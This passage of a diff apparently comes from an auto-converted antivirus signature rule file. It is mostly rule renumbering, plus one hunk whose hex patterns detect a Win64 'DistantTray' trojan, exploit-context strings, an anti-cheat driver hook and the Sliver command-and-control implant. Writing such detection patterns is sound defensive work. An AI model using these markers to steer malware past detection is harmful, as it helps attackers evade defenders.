00 72 00 01 00 0f 45 78 74 72 61 63 74 52 65 73 6f 75 72 63 65 01 00 0f 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 61 69 00 } //25938 + $a_01_1 = {66 69 6c 65 00 00 61 68 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 69 73 74 61 6e 74 54 72 61 79 2e 42 21 64 68 61 00 01 00 0e 67 5f 45 78 70 6c 6f 69 74 43 74 78 2d 3e 01 00 12 44 33 44 4b 4d 54 43 72 65 61 74 65 44 65 76 69 63 65 01 00 12 44 33 44 4b 4d 54 } //25697 + $a_01_2 = {6d 41 64 61 70 74 65 72 73 00 00 61 68 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 42 69 74 73 65 63 75 72 65 41 6e 74 69 43 68 65 61 74 5f 65 78 63 65 70 74 69 6f 6e 00 01 00 17 53 4f 46 54 57 41 52 45 5c 42 6f 72 6c 61 6e 64 5c 44 65 6c 70 68 69 01 00 0b 6d 61 64 43 6f 64 65 48 6f 6f 6b 01 00 11 62 69 74 73 65 63 75 72 65 5f 72 30 5f 2e 73 79 73 } //28229 + $a_01_3 = {68 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 53 6c 69 76 65 72 2e 41 21 4d 54 42 00 01 00 11 2a 73 6c 69 76 65 72 70 62 2e 50 72 6f 63 65 73 73 01 00 11 2a 73 6c 69 76 65 72 70 62 2e 4d 69 67 72 61 74 65 01 00 1c 2a 73 6c 69 76 65 72 70 62 2e 45 78 65 63 75 74 65 41 73 73 } //0 condition: - ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*25697+(#a_01_2 & 1)*30051+(#a_01_3 & 1)*25938) >=2 + ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*25697+(#a_01_2 & 1)*28229+(#a_01_3 & 1)*0) >=2 } -rule _InfrastructureShared_27193{ +rule _InfrastructureShared_28919{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " + + strings : + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 69 73 74 61 6e 74 54 72 61 79 2e 42 21 64 68 61 00 01 00 0e 67 5f 45 78 70 6c 6f 69 74 43 74 78 2d 3e 01 00 12 44 33 44 4b 4d 54 43 72 65 61 74 65 44 65 76 69 63 65 01 00 12 44 33 } //16675 + $a_01_1 = {54 45 6e 75 6d 41 64 61 70 74 65 72 73 00 00 61 68 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 42 69 74 73 65 63 75 72 65 41 6e 74 69 43 68 65 61 74 5f 65 78 63 65 70 74 69 6f 6e 00 01 00 17 53 4f 46 54 57 41 52 45 5c 42 6f 72 6c } //19268 + $a_01_2 = {5c 44 65 6c 70 68 69 01 00 0b 6d 61 64 43 6f 64 65 48 6f 6f 6b 01 00 11 62 69 74 73 65 63 75 72 65 5f 72 30 5f 2e 73 79 73 00 00 61 68 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 53 6c 69 76 65 72 2e 41 21 4d 54 42 00 01 00 11 2a 73 6c 69 76 65 72 70 62 2e 50 72 6f 63 65 73 73 01 00 } //28257 + condition: + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*19268+(#a_01_2 & 1)*28257) >=3 + +} +rule _InfrastructureShared_28920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354916,7 +377462,7 @@ rule _InfrastructureShared_27193{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24421+(#a_01_2 & 1)*0) >=3 } -rule _InfrastructureShared_27194{ +rule _InfrastructureShared_28921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354928,7 +377474,7 @@ rule _InfrastructureShared_27194{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*25445+(#a_01_2 & 1)*29808) >=3 } -rule _InfrastructureShared_27195{ +rule _InfrastructureShared_28922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -354941,7 +377487,7 @@ rule _InfrastructureShared_27195{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25924+(#a_01_2 & 1)*104+(#a_01_3 & 1)*8504) >=3 } -rule _InfrastructureShared_27196{ +rule _InfrastructureShared_28923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -354952,7 +377498,7 @@ rule _InfrastructureShared_27196{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*107) >=1 } -rule _InfrastructureShared_27197{ +rule _InfrastructureShared_28924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -354963,7 +377509,7 @@ rule _InfrastructureShared_27197{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*29268) >=2 } -rule _InfrastructureShared_27198{ +rule _InfrastructureShared_28925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354973,7 +377519,7 @@ rule _InfrastructureShared_27198{ ((#a_01_0 & 1)*21539) >=3 } -rule _InfrastructureShared_27199{ +rule _InfrastructureShared_28926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -354986,7 +377532,7 @@ rule _InfrastructureShared_27199{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25902+(#a_01_2 & 1)*30821+(#a_01_3 & 1)*2582) >=4 } -rule _InfrastructureShared_27200{ +rule _InfrastructureShared_28927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -354998,7 +377544,7 @@ rule _InfrastructureShared_27200{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25971+(#a_01_3 & 1)*24832) >=4 } -rule _InfrastructureShared_27201{ +rule _InfrastructureShared_28928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0e 00 0e 00 05 00 21 " @@ -355011,7 +377557,7 @@ rule _InfrastructureShared_27201{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*2048+(#a_01_2 & 1)*21587+(#a_01_4 & 1)*99) >=14 } -rule _InfrastructureShared_27202{ +rule _InfrastructureShared_28929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 03 00 21 " @@ -355023,7 +377569,7 @@ rule _InfrastructureShared_27202{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*115+(#a_01_2 & 1)*1) >=30 } -rule _InfrastructureShared_27203{ +rule _InfrastructureShared_28930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -355034,7 +377580,7 @@ rule _InfrastructureShared_27203{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*13111) >=1 } -rule _InfrastructureShared_27204{ +rule _InfrastructureShared_28931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -355044,7 +377590,7 @@ rule _InfrastructureShared_27204{ ((#a_01_0 & 1)*20515) >=2 } -rule _InfrastructureShared_27205{ +rule _InfrastructureShared_28932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -355055,7 +377601,7 @@ rule _InfrastructureShared_27205{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*22797) >=2 } -rule _InfrastructureShared_27206{ +rule _InfrastructureShared_28933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -355066,7 +377612,7 @@ rule _InfrastructureShared_27206{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29807) >=3 } -rule _InfrastructureShared_27207{ +rule _InfrastructureShared_28934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -355078,7 +377624,7 @@ rule _InfrastructureShared_27207{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*18490+(#a_01_2 & 1)*24933) >=3 } -rule _InfrastructureShared_27208{ +rule _InfrastructureShared_28935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -355090,7 +377636,7 @@ rule _InfrastructureShared_27208{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29793+(#a_01_2 & 1)*18455) >=3 } -rule _InfrastructureShared_27209{ +rule _InfrastructureShared_28936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 02 00 21 " @@ -355101,7 +377647,7 @@ rule _InfrastructureShared_27209{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*30318) >=20 } -rule _InfrastructureShared_27210{ +rule _InfrastructureShared_28937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -355111,7 +377657,7 @@ rule _InfrastructureShared_27210{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27211{ +rule _InfrastructureShared_28938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -355122,7 +377668,7 @@ rule _InfrastructureShared_27211{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*67) >=1 } -rule _InfrastructureShared_27212{ +rule _InfrastructureShared_28939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 04 00 21 " @@ -355135,7 +377681,7 @@ rule _InfrastructureShared_27212{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*0+(#a_01_3 & 1)*21280) >=1 } -rule _InfrastructureShared_27213{ +rule _InfrastructureShared_28940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 01 00 05 00 21 " @@ -355149,7 +377695,7 @@ rule _InfrastructureShared_27213{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*8250+(#a_01_2 & 1)*29808+(#a_01_3 & 1)*10249+(#a_01_4 & 1)*24949) >=1 } -rule _InfrastructureShared_27214{ +rule _InfrastructureShared_28941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -355160,7 +377706,7 @@ rule _InfrastructureShared_27214{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28261) >=2 } -rule _InfrastructureShared_27215{ +rule _InfrastructureShared_28942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -355171,7 +377717,7 @@ rule _InfrastructureShared_27215{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*-27686) >=2 } -rule _InfrastructureShared_27216{ +rule _InfrastructureShared_28943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 04 00 21 " @@ -355184,7 +377730,7 @@ rule _InfrastructureShared_27216{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*26739+(#a_01_2 & 1)*25910+(#a_01_3 & 1)*26967) >=2 } -rule _InfrastructureShared_27217{ +rule _InfrastructureShared_28944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 02 00 21 " @@ -355195,7 +377741,7 @@ rule _InfrastructureShared_27217{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*25910) >=3 } -rule _InfrastructureShared_27218{ +rule _InfrastructureShared_28945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -355207,7 +377753,7 @@ rule _InfrastructureShared_27218{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*31240+(#a_01_3 & 1)*1792) >=3 } -rule _InfrastructureShared_27219{ +rule _InfrastructureShared_28946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 03 00 21 " @@ -355219,7 +377765,7 @@ rule _InfrastructureShared_27219{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29812+(#a_01_2 & 1)*25959) >=4 } -rule _InfrastructureShared_27220{ +rule _InfrastructureShared_28947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -355231,7 +377777,7 @@ rule _InfrastructureShared_27220{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*16675+(#a_01_3 & 1)*22030) >=4 } -rule _InfrastructureShared_27221{ +rule _InfrastructureShared_28948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 04 00 21 " @@ -355242,7 +377788,7 @@ rule _InfrastructureShared_27221{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*22030) >=15 } -rule _InfrastructureShared_27222{ +rule _InfrastructureShared_28949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 04 00 21 " @@ -355254,7 +377800,7 @@ rule _InfrastructureShared_27222{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29810+(#a_01_2 & 1)*26995) >=15 } -rule _InfrastructureShared_27223{ +rule _InfrastructureShared_28950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -355264,7 +377810,7 @@ rule _InfrastructureShared_27223{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27224{ +rule _InfrastructureShared_28951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -355275,7 +377821,7 @@ rule _InfrastructureShared_27224{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*14382) >=2 } -rule _InfrastructureShared_27225{ +rule _InfrastructureShared_28952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -355287,7 +377833,7 @@ rule _InfrastructureShared_27225{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*30400+(#a_01_2 & 1)*30026) >=3 } -rule _InfrastructureShared_27226{ +rule _InfrastructureShared_28953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -355300,7 +377846,7 @@ rule _InfrastructureShared_27226{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*0+(#a_01_2 & 1)*8448+(#a_01_3 & 1)*5632) >=4 } -rule _InfrastructureShared_27227{ +rule _InfrastructureShared_28954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -355312,7 +377858,7 @@ rule _InfrastructureShared_27227{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*30580+(#a_01_3 & 1)*97) >=4 } -rule _InfrastructureShared_27228{ +rule _InfrastructureShared_28955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 03 00 21 " @@ -355324,7 +377870,7 @@ rule _InfrastructureShared_27228{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*97+(#a_01_2 & 1)*17803) >=30 } -rule _InfrastructureShared_27229{ +rule _InfrastructureShared_28956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -355334,7 +377880,7 @@ rule _InfrastructureShared_27229{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27230{ +rule _InfrastructureShared_28957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -355344,7 +377890,7 @@ rule _InfrastructureShared_27230{ ((#a_01_0 & 1)*16931) >=1 } -rule _InfrastructureShared_27231{ +rule _InfrastructureShared_28958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -355354,7 +377900,7 @@ rule _InfrastructureShared_27231{ ((#a_01_0 & 1)*16931) >=1 } -rule _InfrastructureShared_27232{ +rule _InfrastructureShared_28959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -355365,7 +377911,7 @@ rule _InfrastructureShared_27232{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*-1) >=2 } -rule _InfrastructureShared_27233{ +rule _InfrastructureShared_28960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -355376,7 +377922,7 @@ rule _InfrastructureShared_27233{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*118) >=2 } -rule _InfrastructureShared_27234{ +rule _InfrastructureShared_28961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -355387,7 +377933,7 @@ rule _InfrastructureShared_27234{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29285) >=2 } -rule _InfrastructureShared_27235{ +rule _InfrastructureShared_28962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -355399,7 +377945,7 @@ rule _InfrastructureShared_27235{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25956+(#a_01_2 & 1)*22330) >=2 } -rule _InfrastructureShared_27236{ +rule _InfrastructureShared_28963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -355410,7 +377956,7 @@ rule _InfrastructureShared_27236{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*8306) >=3 } -rule _InfrastructureShared_27237{ +rule _InfrastructureShared_28964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -355421,7 +377967,7 @@ rule _InfrastructureShared_27237{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*17748) >=3 } -rule _InfrastructureShared_27238{ +rule _InfrastructureShared_28965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -355432,7 +377978,7 @@ rule _InfrastructureShared_27238{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29281) >=3 } -rule _InfrastructureShared_27239{ +rule _InfrastructureShared_28966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -355444,7 +377990,7 @@ rule _InfrastructureShared_27239{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*8224+(#a_01_2 & 1)*30580) >=3 } -rule _InfrastructureShared_27240{ +rule _InfrastructureShared_28967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -355456,7 +378002,7 @@ rule _InfrastructureShared_27240{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*16912+(#a_01_3 & 1)*25902) >=4 } -rule _InfrastructureShared_27241{ +rule _InfrastructureShared_28968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -355469,7 +378015,7 @@ rule _InfrastructureShared_27241{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*30821+(#a_01_2 & 1)*31077+(#a_01_3 & 1)*1792) >=4 } -rule _InfrastructureShared_27242{ +rule _InfrastructureShared_28969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -355482,7 +378028,7 @@ rule _InfrastructureShared_27242{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*18025+(#a_01_2 & 1)*22028+(#a_01_3 & 1)*-18595) >=4 } -rule _InfrastructureShared_27243{ +rule _InfrastructureShared_28970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -355496,7 +378042,7 @@ rule _InfrastructureShared_27243{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*-29943+(#a_01_3 & 1)*29806+(#a_01_4 & 1)*0+(#a_01_5 & 1)*25972) >=6 } -rule _InfrastructureShared_27244{ +rule _InfrastructureShared_28971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 01 00 21 " @@ -355506,7 +378052,7 @@ rule _InfrastructureShared_27244{ ((#a_01_0 & 1)*16675) >=10 } -rule _InfrastructureShared_27245{ +rule _InfrastructureShared_28972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,64 00 64 00 03 00 21 " @@ -355518,7 +378064,7 @@ rule _InfrastructureShared_27245{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*30047) >=100 } -rule _InfrastructureShared_27246{ +rule _InfrastructureShared_28973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,64 00 64 00 04 00 21 " @@ -355530,7 +378076,7 @@ rule _InfrastructureShared_27246{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*0) >=100 } -rule _InfrastructureShared_27247{ +rule _InfrastructureShared_28974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -355540,7 +378086,7 @@ rule _InfrastructureShared_27247{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27248{ +rule _InfrastructureShared_28975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -355550,7 +378096,7 @@ rule _InfrastructureShared_27248{ ((#a_01_0 & 1)*16931) >=1 } -rule _InfrastructureShared_27249{ +rule _InfrastructureShared_28976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -355560,7 +378106,7 @@ rule _InfrastructureShared_27249{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27250{ +rule _InfrastructureShared_28977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -355570,7 +378116,7 @@ rule _InfrastructureShared_27250{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_27251{ +rule _InfrastructureShared_28978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -355580,7 +378126,7 @@ rule _InfrastructureShared_27251{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_27252{ +rule _InfrastructureShared_28979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -355591,7 +378137,7 @@ rule _InfrastructureShared_27252{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26157) >=1 } -rule _InfrastructureShared_27253{ +rule _InfrastructureShared_28980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -355602,7 +378148,7 @@ rule _InfrastructureShared_27253{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*2304) >=1 } -rule _InfrastructureShared_27254{ +rule _InfrastructureShared_28981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -355613,7 +378159,7 @@ rule _InfrastructureShared_27254{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28515) >=2 } -rule _InfrastructureShared_27255{ +rule _InfrastructureShared_28982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -355624,7 +378170,7 @@ rule _InfrastructureShared_27255{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*4931) >=2 } -rule _InfrastructureShared_27256{ +rule _InfrastructureShared_28983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -355635,7 +378181,7 @@ rule _InfrastructureShared_27256{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28672) >=2 } -rule _InfrastructureShared_27257{ +rule _InfrastructureShared_28984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -355645,7 +378191,7 @@ rule _InfrastructureShared_27257{ ((#a_01_0 & 1)*16675) >=3 } -rule _InfrastructureShared_27258{ +rule _InfrastructureShared_28985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -355656,7 +378202,7 @@ rule _InfrastructureShared_27258{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*110) >=3 } -rule _InfrastructureShared_27259{ +rule _InfrastructureShared_28986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -355668,7 +378214,7 @@ rule _InfrastructureShared_27259{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*116+(#a_01_3 & 1)*16954) >=3 } -rule _InfrastructureShared_27260{ +rule _InfrastructureShared_28987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -355680,7 +378226,7 @@ rule _InfrastructureShared_27260{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*18467+(#a_01_2 & 1)*3900) >=4 } -rule _InfrastructureShared_27261{ +rule _InfrastructureShared_28988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 02 00 21 " @@ -355691,7 +378237,7 @@ rule _InfrastructureShared_27261{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*3900) >=5 } -rule _InfrastructureShared_27262{ +rule _InfrastructureShared_28989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -355703,7 +378249,7 @@ rule _InfrastructureShared_27262{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*11884+(#a_01_3 & 1)*29450) >=30 } -rule _InfrastructureShared_27263{ +rule _InfrastructureShared_28990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -355715,7 +378261,7 @@ rule _InfrastructureShared_27263{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*115+(#a_01_2 & 1)*27756) >=30 } -rule _InfrastructureShared_27264{ +rule _InfrastructureShared_28991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -355725,7 +378271,7 @@ rule _InfrastructureShared_27264{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27265{ +rule _InfrastructureShared_28992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -355735,7 +378281,7 @@ rule _InfrastructureShared_27265{ ((#a_01_0 & 1)*16931) >=1 } -rule _InfrastructureShared_27266{ +rule _InfrastructureShared_28993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -355745,7 +378291,7 @@ rule _InfrastructureShared_27266{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_27267{ +rule _InfrastructureShared_28994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 04 00 21 " @@ -355758,7 +378304,7 @@ rule _InfrastructureShared_27267{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26471+(#a_01_2 & 1)*-30711+(#a_01_3 & 1)*13365) >=1 } -rule _InfrastructureShared_27268{ +rule _InfrastructureShared_28995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -355769,7 +378315,7 @@ rule _InfrastructureShared_27268{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*-27893) >=2 } -rule _InfrastructureShared_27269{ +rule _InfrastructureShared_28996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -355780,7 +378326,7 @@ rule _InfrastructureShared_27269{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*17477) >=2 } -rule _InfrastructureShared_27270{ +rule _InfrastructureShared_28997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -355791,7 +378337,7 @@ rule _InfrastructureShared_27270{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*26880) >=2 } -rule _InfrastructureShared_27271{ +rule _InfrastructureShared_28998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -355804,7 +378350,7 @@ rule _InfrastructureShared_27271{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*18499+(#a_01_2 & 1)*23644+(#a_01_3 & 1)*28781) >=4 } -rule _InfrastructureShared_27272{ +rule _InfrastructureShared_28999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -355817,7 +378363,7 @@ rule _InfrastructureShared_27272{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*26739+(#a_01_2 & 1)*-176+(#a_01_4 & 1)*14057) >=5 } -rule _InfrastructureShared_27273{ +rule _InfrastructureShared_29000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -355827,7 +378373,7 @@ rule _InfrastructureShared_27273{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27274{ +rule _InfrastructureShared_29001{ meta: description = 